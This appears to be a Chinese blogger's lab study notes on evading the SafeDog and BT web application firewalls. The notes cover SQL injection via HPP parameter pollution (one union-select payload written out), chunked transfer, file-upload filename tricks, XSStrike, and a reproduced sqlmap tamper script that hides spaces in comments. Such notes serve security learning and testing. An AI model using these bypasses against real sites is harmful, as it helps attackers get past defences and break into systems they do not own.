第80天:WAF 攻防-漏洞利用&HPP 污染&分块传输&垃圾数据

案例一:安全狗-SQL 注入-知识点

正常访问会被拦截

like绕过

对比成功,正常返回

对比失败,不返回

post绕过

这里需要支持post注入。这里是我自己改的REQUEST

这里其实安全狗可以开启post验证,看别人知不知道能开启了

过滤了

模拟文件上传绕过

这个本质也是检测post方式,如果开启post检测也会被拦截

分块传输绕过

好像是项目比较老了,用处不大

下载地址:GitHub - c0ny1/chunked-coding-converter: Burp suite 分块传输辅助插件

添加模块

利用

HPP参数污染

当id被输入两次,第二次会覆盖第一次

永远执行的都是最后一次

中间件对应执行结果表

测试语句为

id=1/**&id=-1%20union%20select%201,2,3%23*/

但是这里或许是版本原因?被狗咬了

案例二:安全狗-文件上传-知识点

上传修改为php会被拦截

视频中说可以删除双引号绕过,这里或许是我安全狗版本更新了?无效了

双等绕过/三等绕过

一个等于号是赋值,两个就是判断相等,三个是判断是否全等

回车换行绕过

但是,这里我实验过了,能够成功的原因是由于前面的两个等于号,删除等于号还是不行

编码前面会自动加上%0d%0a

垃圾溢出绕过

在文件名前面写上很多无用数据,记得加;

或者写很多filename的信息,但是我感觉这个本质上还是脏数据干扰

修改后缀绕过

修改后缀

案例三: 安全狗&bt-文件包含&代码执行-知识点

首先安全狗,没有对文件包含以及代码执行有过滤规则,因为不像sql注入和文件上传一样有比较明显的特征

但是感觉我这个版本的安全狗多少有点申金在的,直接把我靶场禁止了

而宝塔的话,禁用命令是直接进行匹配,匹配到了就直接进行过滤

绕过的思路

案例四: 工具脚本绕过waf

xss绕过waf脚本

下载地址:GitHub - s0md3v/XSStrike: Most advanced XSS scanner.

里面有很多个xss绕过waf语句,再设置上代理就可以无视waf

设置代理的时候一定一定记得。给自己的ip设置上白名单

正常xss语句会被拦截

复制一条利用发现可以直接绕过waf

sqlmap工具绕过waf

添加模块

内容

#!/usr/bin/env python2

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*Eor*/"
                continue

            retVal += payload[i]

    return retVal

使用sqlmap绕过waf

总结

  • 13
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值